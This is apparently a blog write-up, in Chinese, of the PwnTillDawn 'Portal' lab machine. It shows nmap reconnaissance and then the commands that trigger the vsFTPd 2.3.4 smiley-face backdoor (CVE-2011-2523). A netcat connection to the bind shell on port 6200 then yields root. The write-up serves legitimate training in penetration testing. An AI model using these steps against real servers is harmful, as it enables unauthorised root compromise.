> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PwnTillDawn — Portal (10.150.150.12) Writeup
- URL: https://taiwanding.com/pwntilldawn-portal-10-150-150-12-writeup/
- Published: 2026-03-25T06:42:03.000Z
- Updated: 2026-07-15T02:50:29.000Z
- Author: Kevin Chen
- Tags: pwntilldawn, CTF, #ftp, #vsFTPd

📚 系列文章 · PwnTillDawn 靶機

1. [Snare (10.150.150.18)](https://taiwanding.com/pwntilldawn-snare-10-150-150-18-writeup/)
2. ▸ Portal (10.150.150.12) （本篇）
3. [ElMariachi-PC (10.150.150.69)](https://taiwanding.com/pwntilldawn-elmariachi-pc-10-150-150-69-writeup/)

> **平台**：[PwnTillDawn Online Battlefield](https://online.pwntilldawn.com/?ref=taiwanding.com) by [wizlynx group](https://www.wizlynxgroup.com/?ref=taiwanding.com)   
> **難度**：Easy   
> **作業系統**：Linux (Ubuntu 20.04) 

## 0x00 偵察

### Port Scan

使用 nmap 掃描全 65535 port：

```bash
nmap -Pn -p- 10.150.150.12 --min-rate 3000

```

僅開放兩個 port：

| Port | Service | Version              |
| ---- | ------- | -------------------- |
| 21   | FTP     | vsFTPd 2.3.4         |
| 22   | SSH     | OpenSSH 8.2p1 Ubuntu |

### FTP 匿名登入

FTP 允許 Anonymous 登入，Banner 訊息頗有暗示性：

```
220 Through the portal... - into nothingness or bliss?

```

登入後目錄完全為空（含 `ls -la` 隱藏檔檢查），且無法上傳檔案（`550 Permission denied`），FTP 作為資料來源這條路走不通。

### 版本探測

```bash
nmap -Pn -p 21,22 -sV -sC 10.150.150.12

```

`-sC` 的 `ftp-syst` script 回報：

```
vsFTPd 2.3.4 - secure, fast, stable

```

確認版本為 **vsFTPd 2.3.4**。

## 0x01 漏洞識別

### vsFTPd 2.3.4 供應鏈後門 (CVE-2011-2523)

2011 年，vsFTPd 2.3.4 的原始碼在官方發佈伺服器上被攻擊者篡改，植入了一段惡意程式碼。觸發機制：

- 當 FTP 登入的\*\*使用者名稱包含 `:)`（笑臉字元）\*\*時，程式會 fork 一個子程序
- 子程序在目標機器的 **TCP port 6200** 開啟 bind shell
- 該 shell 以 vsFTPd 運行身份（通常是 root）執行

使用 searchsploit 確認有公開 exploit：

```bash
searchsploit vsftpd 2.3.4

```

```
vsftpd 2.3.4 - Backdoor Command Execution          | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (MSF)     | unix/remote/17491.rb

```

## 0x02 漏洞利用

### 觸發後門

FTP 登入時使用者名稱附加 `:)` 觸發後門：

```bash
ftp 10.150.150.12
Name: hacker:)
Password: （任意輸入）

```

此時 FTP 連線會 **hang 住**，這是正常現象，代表後門正在被觸發。

### 連接 Bind Shell

**開另一個 terminal**，用 netcat 連線 port 6200：

```bash
ncat 10.150.150.12 6200

```

連上後**不會有任何 prompt 顯示**（無 `#` 或 `$`），這是一個 blind shell，直接輸入指令即可：

```
id
uid=0(root) gid=0(root) groups=0(root)

```

直接取得 **root** 權限。

## 0x03 FLAG

```
ls
FLAG1.txt
snap

cat FLAG1.txt
Redacted

```

FLAG1：`Redacted`

## 0x04 攻擊鏈總結

```
FTP 偵察 → 識別 vsFTPd 2.3.4
    → 觸發供應鏈後門 (username + :))
    → Bind Shell on port 6200
    → Root!

```

### 漏洞清單

| # | 漏洞                                    | 嚴重性      | 說明                              |
| - | ------------------------------------- | -------- | ------------------------------- |
| 1 | vsFTPd 2.3.4 Backdoor (CVE-2011-2523) | Critical | 供應鏈攻擊植入後門，觸發後開啟 root bind shell |

## 經驗分享

### 0x05:

這台靶機最大的坑不是找漏洞，而是 **blind shell 的判斷，**連上 port 6200 後畫面完全空白，沒有任何 prompt，第一反應很容易誤判為「後門被 patch 掉了」或「連線失敗」，差點因此放棄這條路去走 SSH 爆破的 rabbit hole。

教訓：**碰到 blind shell 時，永遠先盲打 `id` 確認，**沒有 prompt 不代表沒有 shell。

另外，手動測試如果看起來沒成功，也可以嘗試 searchsploit 上的 exploit 腳本（`unix/remote/49757.py`）來自動化驗證——有時候不是漏洞不存在，只是自己的測試方法有盲區。